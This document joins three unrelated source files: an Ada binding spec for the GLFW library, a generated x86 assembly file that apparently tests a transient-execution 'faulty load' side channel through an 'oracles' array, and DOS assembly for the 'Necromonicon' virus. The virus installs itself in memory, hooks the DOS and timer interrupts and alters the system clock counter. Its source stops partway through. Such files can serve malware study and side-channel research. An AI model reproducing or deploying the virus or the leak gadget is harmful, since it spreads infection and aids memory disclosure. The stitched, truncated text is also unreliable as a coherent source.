-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-- SOFTWARE.
--------------------------------------------------------------------------------
-- @file This package provides a binding to the GLFW C library for Ada. For
-- ease of use, documentation from the glfw3.h header has been worked into
-- this file where necessary.
--------------------------------------------------------------------------------
with Interfaces.C;
with System;
with Ada.Containers.Vectors;
with Ada.Strings.Bounded;
package Glfw is
-- The following internal package contains exceptions that can be raised by
-- GLFW Operations.
package Exceptions is
-- This occurs if a GLFW function was called that must not be called
-- unless the library is initialized.
--
-- This is an application programmer error.
NOT_INITIALIZED : exception;
-- This occurs if a GLFW function was called that needs and operates on
-- the current OpenGL or OpenGL ES context but no context is current on
-- the calling thread.
--
-- This is an application programmer error.
NO_CURRENT_CONTEXT : exception;
-- This occurs if one of the arguments to a function was an invalid enum
-- value.
--
-- This is an application programmer error.
INVALID_ENUM : exception;
-- On of the arguments to the function was an invalid value, for example
-- requesting a non-existent OpenGL or OpenGL ES version like 2.7.
--
-- Requesting a valid but unavailable OpenGL or OpenGL ES version will
-- instead result in a VERSION_UNAVAILABLE error.
--
-- This is an application programmer error.
INVALID_VALUE : exception;
-- A memory allocation failed.
--
-- A bug in GLFW or the underlying operating system.
OUT_OF_MEMORY : exception;
-- GLFW could not find support for the requested API on the system.
--
-- The installed graphics driver does not support the requested API, or
-- does not support it via the chosen context creation backend.
API_UNAVAILABLE : exception;
-- The requested OpenGL or OpenGL ES version (including any requested
-- context or framebuffer hints) is not available on this machine.
--
-- The machine does not support the requirements for the application. If
-- the application is sufficiently flexible it can downgrade its
-- requirements and try again. Otherwise, the user should be informed that
-- the machine does not match minimum requirements.
--
-- Future invalid OpenGL and OpenGL ES versions, for example OpenGL 4.8
-- if 5.0 comes out before the 4.x series gets that far, also fail with
-- this error and not INVALID_VALUE, because GLFW cannot know what future
-- versions will exist.
VERSION_UNAVAILABLE : exception;
-- A platform-specific error occurred that does not match any of the more
-- specific categories.
--
-- A bug or configuration error in GLFW, the underlying operating system
-- or its drivers, or a lack of required resources.
PLATFORM_ERROR : exception;
-- If emitted during window creation, the requested pixel format is not
-- supported. One or more hard constraints did not match any of the
-- available pixel formats.
--
-- If emitted when querying the clipboard, the contents of the clipboard
-- could not be converted to the requested format.
FORMAT_UNAVAILABLE : exception;
-- A window that does not have an OpenGL or OpenGL ES context was passed
-- to a function that requires it to have one.
NO_WINDOW_CONTEXT : exception;
end Exceptions;
----------------------------------------------------------------------------
-- Constants
----------------------------------------------------------------------------
DONT_CARE : constant := -1;
MAX_STRING_LENGTH : constant := 256;
NONE : constant := 0;
----------------------------------------------------------------------------
-- Types
----------------------------------------------------------------------------
-- A GLFW Integer Value
type Glfw_Int is new Integer range DONT_CARE .. Integer'Last;
--< Common string type used throughout Vulkan interface.
package Glfw_Strings is new Ada.Strings.Bounded.Generic_Bounded_Length (Max => MAX_STRING_LENGTH);
-- A String Attribute. Assuming maximum string length of 256
-- characters
type Glfw_String is new Glfw_Strings.Bounded_String;
-- A list of strings.
package Glfw_String_Vectors is new Ada.Containers.Vectors (
Index_Type => Natural,
Element_Type => Glfw_String);
subtype Glfw_String_Vector is Glfw_String_Vectors.Vector;
-- Window Boolean Attribute
type Glfw_Bool is new Boolean;
-- Values to use for Window Bool Attributes
for Glfw_Bool use (
FALSE => 0,
TRUE => 1
);
for Glfw_Bool'Size use Interfaces.C.int'Size;
-- An empty Glfw_String.
GLFW_STRING_EMPTY : constant Glfw_String := To_Bounded_String("");
-- IDs for GLFW windows
type Glfw_Window is new System.Address;
-- A constant which represents the case where no window is passed into or
-- returned by an operation.
No_Window : constant Glfw_Window := Glfw_Window(System.Null_Address);
-- IDs for GLFW monitors
type Glfw_Monitor is new System.Address;
-- A constant which represents the case where no monitor is passed into or
-- returned by an operation.
No_Monitor : constant Glfw_Monitor := Glfw_Monitor(System.Null_Address);
-- A Window Dimmension Attribute
type Window_Dimmension is new Integer range 1 .. Integer'Last;
-- The client API type
type Enum_Client_Api is (
-- No OpenGL API is used with the window.
NO_API,
-- The OpenGL API is used with the window.
OPENGL_API,
-- The OpenGL ES API is used with the window.
OPENGL_ES_API
);
-- Values to use for the Client API type
for Enum_Client_Api use (
NO_API => 16#00000000#,
OPENGL_API => 16#00030001#,
OPENGL_ES_API => 16#00030002#
);
for Enum_Client_Api'Size use Interfaces.C.int'Size;
-- The context creation API type
type Enum_Context_Api is (
-- Native context API is used.
NATIVE_CONTEXT_API,
-- EGL context API is used.
EGL_CONTEXT_API,
-- OSMESA context API is used.
OSMESA_CONTEXT_API
);
-- Values to use for the Context API type
for Enum_Context_Api use (
NATIVE_CONTEXT_API => 16#00036001#,
EGL_CONTEXT_API => 16#00036002#,
OSMESA_CONTEXT_API => 16#00036003#
);
for Enum_Context_Api'Size use Interfaces.C.int'Size;
-- The robustness strategy used by the window's context
type Enum_Context_Robustness is (
-- No Context robustness
NO_ROBUSTNESS,
-- No reset notification robustness strategy
NO_RESET_NOTIFICATION,
-- Lose context on reset robustness strategy
LOSE_CONTEXT_ON_RESET
);
-- Values to use for context robustness.
for Enum_Context_Robustness use (
NO_ROBUSTNESS => 16#00000000#,
NO_RESET_NOTIFICATION => 16#00031001#,
LOSE_CONTEXT_ON_RESET => 16#00031002#
);
for Enum_Context_Robustness'Size use Interfaces.C.int'Size;
-- The release behavior used by the context.
type Enum_Context_Release_Behavior is (
-- The default behavior of the context creation API is used.
RELEASE_BEHAVIOR_ANY,
-- The pipeline will be flushed whenever the context is released from
-- being the current one.
RELEASE_BEHAVIOR_FLUSH,
-- The pipeline will not be flushed on release.
RELEASE_BEHAVIOR_NONE
);
for Enum_Context_Release_Behavior use (
RELEASE_BEHAVIOR_ANY => 16#00000000#,
RELEASE_BEHAVIOR_FLUSH => 16#00035001#,
RELEASE_BEHAVIOR_NONE => 16#00035002#
);
for Enum_Context_Release_Behavior'Size use Interfaces.C.int'Size;
-- The OpenGL profile to create the context for.
type Enum_OpenGl_Profile is (
-- A specific profile is not requested.
OPENGL_ANY_PROFILE,
-- The OpenGL Core profile is requested.
OPENGL_CORE_PROFILE,
-- The OpenGL Compatibility profile is requested.
OPENGL_COMPAT_PROFILE
);
for Enum_OpenGl_Profile use (
OPENGL_ANY_PROFILE => 16#00000000#,
OPENGL_CORE_PROFILE => 16#00032001#,
OPENGL_COMPAT_PROFILE => 16#00032002#
);
for Enum_OpenGl_Profile'Size use Interfaces.C.int'Size;
-- Window Configuration Data
type Record_Window_Hints is record
-- Specifies whether the windowed mode window will be resizable by the
-- user. The window will be resizable using the Set_Window_Size function.
-- This hint is ignored for full screen and undecorated windows.
Resizable : Glfw_Bool := TRUE;
-- Specifies whether the windowed mode window will initially be visible.
-- This hint is ignored for full screen windows.
Visible : Glfw_Bool := TRUE;
-- Specifies whether the windowed mode window will have decorations such
-- as a border, a close widget, etc. An undecorated window will not be
-- resizable by the user but will still allow the user to generate close
-- events on some platforms. This hint is ignored for full screen windows.
Decorated : Glfw_Bool := TRUE;
-- Specifies whether the windowed mode window will be given input focus
-- when created. This hint is ignored by full screen and initially hidden
-- windows.
Focused : Glfw_Bool := TRUE;
-- Specifies whether the full screen window will automatically iconify
-- and restore the previous video mode on input focus loss. This hint is
-- ignored for windowed mode windows.
Auto_Iconify : Glfw_Bool := TRUE;
-- Specifies whether the windowed mode window will be floating above other
-- regular windows, also called topmost or always-on-top. This is intended
-- primarily for debugging purposes and cannot be used to implement proper
-- full screen windows. This hint is ignored for full screen windows.
Floating : Glfw_Bool := FALSE;
-- Specifies whether the windowed mode window will be maximized when created.
-- This hint is ignored for full screen windows
Maximized : Glfw_Bool := FALSE;
-- Specifies whether the cursor should be centered over newly created full
-- screen windows. This hint is ignored for windowed mode windows.
Center_Cursor : Glfw_Bool := TRUE;
-- Specifies whether the window framebuffer will be transparent. If enabled
-- and supported by the system, the window framebuffer alpha channel will
-- be used to combine the framebuffer with the background. This does not
-- affect window decorations.
Transparent_Framebuffer : Glfw_Bool := FALSE;
-- Specifies whether the window will be given input focus when Show_Window
-- is called.
Focus_On_Show : Glfw_Bool := TRUE;
-- Specifies whether the window content area should be resized based on
-- the monitor content scale of any monitor it is placed on. This includes
-- the initial placement when the window is created.
Scale_To_Monitor : Glfw_Bool := FALSE;
-- The desired bit depth for the Red component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Red_Bits : Glfw_Int := 8;
-- The desired bit depth for the Green component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Green_Bits : Glfw_Int := 8;
-- The desired bit depth for the Blue component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Blue_Bits : Glfw_Int := 8;
-- The desired bit depth for the Alpha component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Alpha_Bits : Glfw_Int := 8;
-- The desired bit depth for the Depth component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Depth_Bits : Glfw_Int := 24;
-- The desired bit depth for the Stencil component of the default framebuffer.
-- A value of DONT_CARE means the application has no preference.
Stencil_Bits : Glfw_Int := 8;
-- The desired bit depth for the Red component of the accummulation buffer.
-- A value of DONT_CARE means the application has no preference.
--
-- Accumulation buffers are a legacy OpenGL feature and should not be used
-- in new code.
Accum_Red_Bits : Glfw_Int := 0;
-- The desired bit depth for the Green component of the accummulation buffer.
-- A value of DONT_CARE means the application has no preference.
--
-- Accumulation buffers are a legacy OpenGL feature and should not be used
-- in new code.
Accum_Green_Bits : Glfw_Int := 0;
-- The desired bit depth for the Blue component of the accummulation buffer.
-- A value of DONT_CARE means the application has no preference.
--
-- Accumulation buffers are a legacy OpenGL feature and should not be used
-- in new code.
Accum_Blue_Bits : Glfw_Int := 0;
-- The desired bit depth for the Alpha component of the accummulation buffer.
-- A value of DONT_CARE means the application has no preference.
--
-- Accumulation buffers are a legacy OpenGL feature and should not be used
-- in new code.
Accum_Alpha_Bits : Glfw_Int := 0;
-- Specifies the desired number of auxiliary buffers. A value of DONT_CARE
-- means the application has no preference.
--
-- Auxiliary buffers are a legacy OpenGL feature and should not be used
-- in new code.
Aux_Buffers : Glfw_Int := 0;
-- Specifies the desired number of samples to use for multisampling. Zero
-- disables multisampling. A value of DONT_CARE means the application has
-- no preference.
Samples : Glfw_Int := 0;
-- Specifies the desired refresh rate for full screen windows. A value of
-- DONT_CARE means the highest available refresh rate will be used. This
-- hint is ignored for windowed mode windows.
Refresh_Rate : Glfw_Int := DONT_CARE;
-- Specifies whether to use OpenGL stereoscopic rendering. This is a
-- hard constraint.
Stereo : Glfw_Bool := FALSE;
-- Specifies whether the framebuffer should be sRGB capable.
--
-- OpenGL: If enabled and supported by the system, the GL_FRAMEBUFFER_SRGB
-- enable will control sRGB rendering. By default, sRGB rendering
-- will be disabled.
--
-- OpenGL ES: If enabled and supported by the system, the context will
-- always have sRGB rendering enabled.
Srgb_Capable : Glfw_Bool := FALSE;
-- Specifies whether the framebuffer should be double buffered. This is a
-- hard constraint.
Doublebuffer : Glfw_Bool := TRUE;
-- Specifies which client API to create the context for. This is a hard
-- constraint.
Client_Api : Enum_Client_Api := OPENGL_API;
-- Specifies which context creation API to use to create the context. This
-- is a hard constraint. If no client API is requested, this hint is ignored.
Context_Creation_Api : Enum_Context_Api := NATIVE_CONTEXT_API;
-- Specifies the client API major version that the created context must be
-- compatible with. The exact behavior of these hints depends on the requested
-- client API.
Context_Version_Major : Glfw_Int := 1;
-- Specifies the client API minor version that the created context must be
-- compatible with. The exact behavior of these hints depends on the requested
-- client API.
Context_Version_Minor : Glfw_Int := 0;
-- Specifies the robustness strategy to be used by the context.
Context_Robustness : Enum_Context_Robustness := NO_ROBUSTNESS;
-- Specifies the release behavior to be used by the context.
Context_Release_Behavior : Enum_Context_Release_Behavior := RELEASE_BEHAVIOR_ANY;
-- Specifies whether the context generates errors. If enabled situations
-- that normally result in errors instead result in undefined behavior.
Context_No_Error : Glfw_Bool := FALSE;
-- Specifies whether the OpenGL context should be forward compatible, i.e.
-- where all functionality deprecated in the requested version of OpenGL is
-- removed. This must only be used if the requested OpenGL version is 3.0
-- or above. If OpenGL ES is requested, this hint is ignored.
OpenGl_Forward_Compat : Glfw_Bool := FALSE;
-- Specifies whether to use the OpenGL Debug context.
OpenGl_Debug_Context : Glfw_Bool := FALSE;
-- Specifies which OpenGL profile to create the context for. If OpenGL ES
-- is requested, this hint is ignored.
OpenGl_Profile : Enum_OpenGl_Profile := OPENGL_ANY_PROFILE;
-- Specifies whether to use full resolution framebuffers on Retina displays.
-- This is only used on macOS platforms.
Cocoa_Retina_Framebuffer : Glfw_Bool := TRUE;
-- Specifies the UTF-8 encoded name to use for autosaving the window frame,
-- or if empty disables frame autosaving for the window. This is only used
-- on macOS platforms.
Cocoa_Frame_Name : Glfw_String := GLFW_STRING_EMPTY;
-- Specifies whether to allow the system to choose the integrated GPU for
-- the OpenGL context and move it between GPUs if necessary or whether to
-- force it to always run on the discrete GPU. This only affects systems
-- with both integrated and discrete GPUs. This is only used on macOS
-- platforms.
Cocoa_Graphics_Switching : Glfw_Bool := FALSE;
-- Specifies the X11 Class name encoded in ASCII.
X11_Class_Name : Glfw_String := GLFW_STRING_EMPTY;
-- Specifes the X11 Instance name encoded in ASCII.
X11_Instance_Name : Glfw_String := GLFW_STRING_EMPTY;
end record;
----------------------------------------------------------------------------
-- Platform Operations
----------------------------------------------------------------------------
-- @brief
-- This operation initializes GLFW, and should be called before most other
-- GLFW operations.
--
-- This operation calls the glfwInit() library function.
--
-- When Platform_Init has previously been called without raising an exception,
-- it will return immediately without raising on subsequent calls.
--
-- @error
-- The following exceptions can be raised by this operation:
-- PLATFORM_ERROR: When attempting to initialize GLFW on an incompatible
-- platform.
--
----------------------------------------------------------------------------
procedure Platform_Init;
----------------------------------------------------------------------------
-- @brief
-- This operation shuts down GLFW, and should be called before exiting the
-- application to free any resources used by GLFW.
--
-- This operation calls the glfwTerminate() GLFW library function.
--
-- @pre
-- A call to Platform_Init has occurred without raising an exception.
--
-- @error
-- The following exceptions can be raised by this operation:
-- PLATFORM_ERROR
--
----------------------------------------------------------------------------
procedure Platform_Shutdown;
----------------------------------------------------------------------------
-- @brief
-- Process GLFW events.
--
-- This operation calls the glfwPollEvents() GLFW library function.
--
-- @pre
-- A call to Platform_Init has occurred without raising an exception.
--
-- @error
-- The following exceptions can be raised by this operation:
-- PLATFORM_ERROR
--
----------------------------------------------------------------------------
procedure Platform_Process_Events;
----------------------------------------------------------------------------
-- Window Operations
----------------------------------------------------------------------------
-- @brief
-- For every member of the window configuration structure a call to set the
-- corresponding GLFW window Hint is made.
--
-- @pre
-- A call to Platform_Init has occurred without raising an exception.
--
-- @param[in] window_config The desired configuration for the window.
--
-- @error
-- The following exceptions can be raised by this operation:
-- PLATFORM_ERROR
-- NOT_INITIALIZED
-- INVALID_ENUM
--
----------------------------------------------------------------------------
procedure Window_Set_Hints
(
hints : Record_Window_Hints
);
----------------------------------------------------------------------------
-- @brief
-- This operation initializes a GLFW window, and should be called prior to
-- use of any operation that depends on the existence of a window.
--
-- @pre
-- A call to Platform_Init has occurred without raising an exception.
--
-- @param[in] width The desired width, in screen coordinates, of
-- the window.
-- @param[in] height The desired height, in screen coordinates,
-- of the window.
-- @param[in] title The initial, UTF-8 encoded window title.
-- @param[in] monitor_handle The monitor to use for full screen mode, or
-- NULL for windowed mode.
-- @param[in] share_window_handle The window whose context to share resources
-- with, or NULL to not share resources.
--
-- @returns A handle to the created GLFW window.
--
-- @error
-- The following exceptions can be raised by this operation:
-- PLATFORM_ERROR
-- NOT_INITIALIZED
-- INVALID_ENUM
-- INVALID_VALUE
-- API_UNAVAILABLE
-- VERSION_UNAVAILABLE
-- FORMAT_UNAVAILABLE
--
----------------------------------------------------------------------------
function Window_Create
(
width : in Window_Dimmension;
height : in Window_Dimmension;
title : in String;
monitor_handle : in Glfw_Monitor := No_Monitor;
share_window_handle : in Glfw_Window := No_Window
)
return Glfw_Window;
----------------------------------------------------------------------------
-- @brief
-- This operation determines whether the it has been requested for a window
-- to close.
--
-- @pre
-- A call to Platform_Init() has occurred without raising an exception.
--
-- @pre
-- A call to Window_Create() has occured without raising an exception and
-- the returned window handle is still valid.
--
-- @param[in] window_handle The window that should be closed.
--
-- @returns Boolean True if the window should close, otherwise boolean false.
--
-- @errors
-- The following exceptions can be raised by this operation:
-- NOT_INITIALIZED
--
----------------------------------------------------------------------------
function Window_Should_Close
(
window_handle : in Glfw_Window
)
return Glfw_Bool;
----------------------------------------------------------------------------
-- @brief
-- This operation destroys the given window.
--
-- @pre
-- A call to Platform_Init() has occurred without raising an exception.
--
-- @pre
-- A call to Window_Create() has occured without raising an exception and
-- the returned window handle is still valid.
--
-- @param[in] window_handle The window that will be destroyed.
--
-- @errors
-- The following exceptions can be raised by this operation:
-- NOT_INITIALIZED
-- PLATFORM_ERROR
--
----------------------------------------------------------------------------
procedure Window_Destroy
(
window_handle : in Glfw_Window
);
----------------------------------------------------------------------------
--< @brief
--< This operation gets the required instance extensions to use GLFW with
--< Vulkan.
--<
--< @param instance_extensions
--< A list of extensions required by Vulkan Instance in order to work with GLFW.
----------------------------------------------------------------------------
procedure Get_Required_Instance_Extensions(extensions : in out Glfw_String_Vector);
end Glfw;
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_124.asm | ljhsiun2/medusa | 9 | 175335 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1053f, %rsi
lea addresses_WC_ht+0x17b2f, %rdi
nop
inc %r9
mov $103, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_WC_ht+0x122ff, %r13
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%r13), %r11w
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_UC_ht+0x190bb, %rdi
nop
nop
nop
inc %rdx
mov (%rdi), %rsi
nop
nop
nop
nop
nop
xor $49403, %rdi
lea addresses_A_ht+0x12f2f, %r9
nop
nop
nop
nop
nop
and $30620, %rdx
movl $0x61626364, (%r9)
xor $9969, %rdi
lea addresses_A_ht+0x16b2f, %rcx
nop
nop
sub $61510, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
and $0xffffffffffffffc0, %rcx
vmovaps %ymm4, (%rcx)
nop
nop
nop
cmp %r11, %r11
lea addresses_WT_ht+0xffd7, %rsi
nop
nop
nop
nop
nop
xor %r13, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
nop
xor %r13, %r13
lea addresses_WT_ht+0x17f2f, %r9
nop
nop
nop
xor %rcx, %rcx
vmovups (%r9), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r13
nop
nop
nop
add $62555, %rsi
lea addresses_UC_ht+0x161f3, %rcx
nop
nop
nop
nop
nop
add $36595, %r13
movb (%rcx), %dl
nop
nop
cmp $64738, %r11
lea addresses_WT_ht+0x14e2f, %rsi
lea addresses_A_ht+0xd9b3, %rdi
nop
nop
nop
nop
add $49885, %rdx
mov $52, %rcx
rep movsb
nop
add $63600, %r11
lea addresses_A_ht+0x19aaf, %rsi
lea addresses_D_ht+0x14fc9, %rdi
nop
nop
and %r14, %r14
mov $127, %rcx
rep movsq
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0xa391, %r11
nop
nop
nop
nop
nop
add %rcx, %rcx
movb $0x61, (%r11)
nop
nop
dec %r13
lea addresses_normal_ht+0xa04f, %r11
nop
nop
sub %rsi, %rsi
movl $0x61626364, (%r11)
nop
nop
and $15294, %rsi
lea addresses_WC_ht+0x150af, %rsi
lea addresses_UC_ht+0xc9b7, %rdi
xor %r14, %r14
mov $125, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_WC_ht+0x18cef, %rdi
nop
cmp $26788, %r14
mov (%rdi), %r13d
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x2af, %r9
clflush (%r9)
cmp %rcx, %rcx
mov (%r9), %edx
nop
nop
cmp $13527, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rsi
// Store
lea addresses_US+0x5c8f, %r9
nop
nop
nop
nop
sub $47095, %rbp
movl $0x51525354, (%r9)
nop
nop
nop
dec %r14
// Faulty Load
lea addresses_WT+0x1ef2f, %r9
nop
add $15009, %r15
mov (%r9), %bp
lea oracles, %r15
and $0xff, %rbp
shlq $12, %rbp
mov (%r15,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
MSDOS/Virus.MSDOS.Unknown.necromin.asm | fengjixuchui/Family | 3 | 168293 | <filename>MSDOS/Virus.MSDOS.Unknown.necromin.asm
;
; Necromonicon Virus by <NAME>
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,decr[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
push es
Mov Ax,351ch
Int 21h
Mov Word Ptr OldInt1c[0],Bx
Mov Word Ptr OldInt1c[2],Es
Mov Ax,251ch
Lea Dx,NewInt1c
Pop Ds
Int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
OldInt1c DD 0
NewInt1c: Pushf
Push Ds
Push Ax
Xor Ax,Ax
Push Ax
Pop Ds
Mov Ax,Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Cmp Ax,Word Ptr Ds:[46ch]
Ja EOI1C
Dec Word Ptr Ds:[46eh]
EOI1C: Pop Ax
Pop Ds
Popf
